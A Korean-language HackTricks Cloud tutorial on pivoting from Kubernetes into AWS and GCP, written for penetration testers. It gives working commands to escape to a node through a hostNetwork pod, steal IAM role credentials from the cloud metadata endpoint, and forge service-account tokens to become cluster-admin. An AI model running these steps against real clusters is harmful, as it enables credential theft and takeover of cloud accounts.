Kubernetes로 클라우드로 피벗하기

Reading time: 13 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!
**💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

K8s 내부의 attacker로서 SAs 중 iam.gke.io/gcp-service-account annotation이 있는 것을 찾아야 합니다. 이는 해당 SA가 GCP에서 무언가에 접근할 수 있음을 나타냅니다. 다른 방법으로는 클러스터의 각 KSA를 악용해 접근 권한이 있는지 확인하는 것입니다.
GCP에서는 바인딩을 열거해서 Kubernetes 내부의 SAs에 어떤 접근을 부여하고 있는지 파악하는 것이 항상 흥미롭습니다.

이 스크립트는 쉽게 모든 pods를 순회(iterate over the all the pods) 정의를 검사(looking) 하여 해당 annotation을 찾기 위한 것입니다:

bash

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

구식 방법으로 Pods에 IAM Roles를 부여하는 한 가지 방법은 Kiam 또는 Kube2IAM server를 사용하는 것입니다. 기본적으로 클러스터에서 daemonset을 실행해야 하며, 해당 daemonset은 일종의 privileged IAM role을 가지고 있어야 합니다. 이 daemonset이 필요한 Pod들에게 IAM roles 접근 권한을 부여하는 역할을 합니다.

우선 which roles can be accessed inside the namespace를 구성해야 하며, 이는 namespace 객체 내부의 annotation으로 설정합니다:

Kiam

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

Kube2iam

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

namespace가 Pods가 가질 수 있는 IAM roles로 구성되면, 각 pod definition에서 원하는 역할을 다음과 같이 지정할 수 있습니다:

Kiam & Kube2iam

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

공격자라면, pods 또는 namespaces에서 이러한 애노테이션을 발견할 경우, 또는 kiam/kube2iam 서버가 실행 중(대부분 kube-system에 있음)이라면, 이미 pods에서 **사용되는 모든 역할을 가장(impersonate)**할 수 있고 그 이상도 가능합니다 (AWS 계정에 접근할 수 있다면 역할들을 열거(enumerate)하세요).

IAM Role을 가진 Pod 생성

note

지정할 IAM role은 kiam/kube2iam role과 동일한 AWS 계정에 있어야 하며, 해당 role이 접근할 수 있어야 합니다.

yaml

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

OIDC를 통한 K8s Service Accounts용 IAM Role

이는 AWS가 권장하는 방법입니다.

먼저 create an OIDC provider for the cluster.
그런 다음 SA가 필요로 하는 권한을 가진 IAM role을 생성합니다.
IAM role과 SA 간의 trust relationship between the IAM role and the SA를 생성하세요 (또는 namespace들이 해당 namespace의 모든 SAs에 role 접근 권한을 부여하도록). Trust relationship은 주로 OIDC provider name, namespace name 및 SA name을 확인합니다.
마지막으로, ARN을 가리키는 annotation을 가진 SA를 생성하면 그 SA로 실행되는 pods는 해당 role의 token에 접근할 수 있습니다. token은 파일에 쓰기되며 경로는 **AWS_WEB_IDENTITY_TOKEN_FILE**에 지정되어 있습니다 (기본값: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

bash

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

/var/run/secrets/eks.amazonaws.com/serviceaccount/token에서 토큰을 사용하여 aws를 얻으려면 다음을 실행하세요:

bash

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

공격자로서 K8s 클러스터를 열거할 수 있다면, 해당 어노테이션이 있는 서비스 계정을 확인하여 AWS로 권한 상승을 시도하라. 이를 위해, IAM의 privileged 서비스 계정 중 하나를 사용해 pod를 exec/create하고 토큰을 탈취하면 된다.

또한, pod 내부에 있다면 AWS_ROLE_ARN 및 AWS_WEB_IDENTITY_TOKEN 같은 환경 변수(env variables)를 확인하라.

caution

때때로 역할의 Turst Policy가 잘못 구성되어 예상된 서비스 계정에 AssumeRole 권한을 주는 대신 모든 서비스 계정에 권한을 부여할 수 있다. 따라서 제어 가능한 서비스 계정에 어노테이션을 쓸 수 있다면 해당 role에 접근할 수 있다.

자세한 내용은 다음 페이지를 확인하라:

AWS - Federation Abuse

클러스터에서 IAM Roles를 가진 Pods와 SAs 찾기

이는 해당 어노테이션을 찾기 위해 모든 pods와 sas 정의를 손쉽게 반복(iterate)하는 스크립트이다:

bash

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

이전 섹션은 pods로 IAM Roles를 탈취하는 방법에 관한 것이었지만, Node of the K8s cluster is going to be an instance inside the cloud 라는 점을 유의하라. 이는 Node가 have an IAM role you can steal 가능성이 매우 높다는 것을 의미한다 (보통 K8s 클러스터의 모든 노드가 동일한 IAM role을 가지므로, 각 노드를 일일이 확인하는 것은 가치가 없을 수 있다).

node metadata endpoint에 접근하려면 다음이 필요하다:

pod에 있어야 하며 metadata endpoint가 적어도 2 tcp hops로 구성되어 있어야 한다. 이는 가장 흔한 잘못된 구성으로, 보통 클러스터 내의 서로 다른 pods가 정상 동작을 위해 metadata endpoint 접근을 필요로 하고 여러 회사가 클러스터의 모든 pods에서 metadata endpoint 접근을 허용하도록 그냥 결정하기 때문이다.
hostNetwork가 활성화된 pod에 있어야 한다.
node로 탈출하여 metadata endpoint에 직접 접근해야 한다.

(참고: metadata endpoint는 언제나처럼 169.254.169.254에 있다).

hostNetwork가 활성화된 pod를 실행하여 escape to the node 하는 데 다음 명령을 사용할 수 있다:

bash

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

이전에 우리는 attach IAM Roles to Pods 하는 방법이나, 심지어 인스턴스에 연결된 것을 훔치기 위해 escape to the Node to steal the IAM Role 하는 방법에 대해 논의했습니다.

다음 스크립트를 사용하면 새로 힘들게 얻은 당신의 IAM role credentials을 steal 할 수 있습니다:

bash

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

요약: 파드에서 EKS Node IAM role에 접근할 수 있다면, compromise the full kubernetes cluster가 가능합니다.

For more info check this post. As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role system:node inside the cluster. This role is very interesting although is limited by the kubernetes Node Restrictions.

그러나 노드는 항상 노드 내부의 파드에서 실행되는 service accounts에 대한 토큰을 생성할 수 있습니다. 따라서 노드가 privileged service account를 가진 파드를 실행 중이라면, 노드는 해당 service account를 위한 토큰을 생성하여 그 service account를 가장(impersonate)하는 데 사용할 수 있습니다. 예:

bash

kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

참고자료

tip

HackTricks 지원하기

구독 계획 확인하기!
**💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

HackTricks Cloud

Kubernetes로 클라우드로 피벗하기

GCP

GCP-SA 키를 secret으로 마운트하기

GSA json을 KSA secret에 연동하기

GKE Workload Identity

AWS

Kiam & Kube2IAM (IAM role for Pods)

IAM Role을 가진 Pod 생성

OIDC를 통한 K8s Service Accounts용 IAM Role

클러스터에서 IAM Roles를 가진 Pods와 SAs 찾기

Node IAM Role to cluster-admin

Steal IAM Role Token

Privesc to cluster-admin

참고자료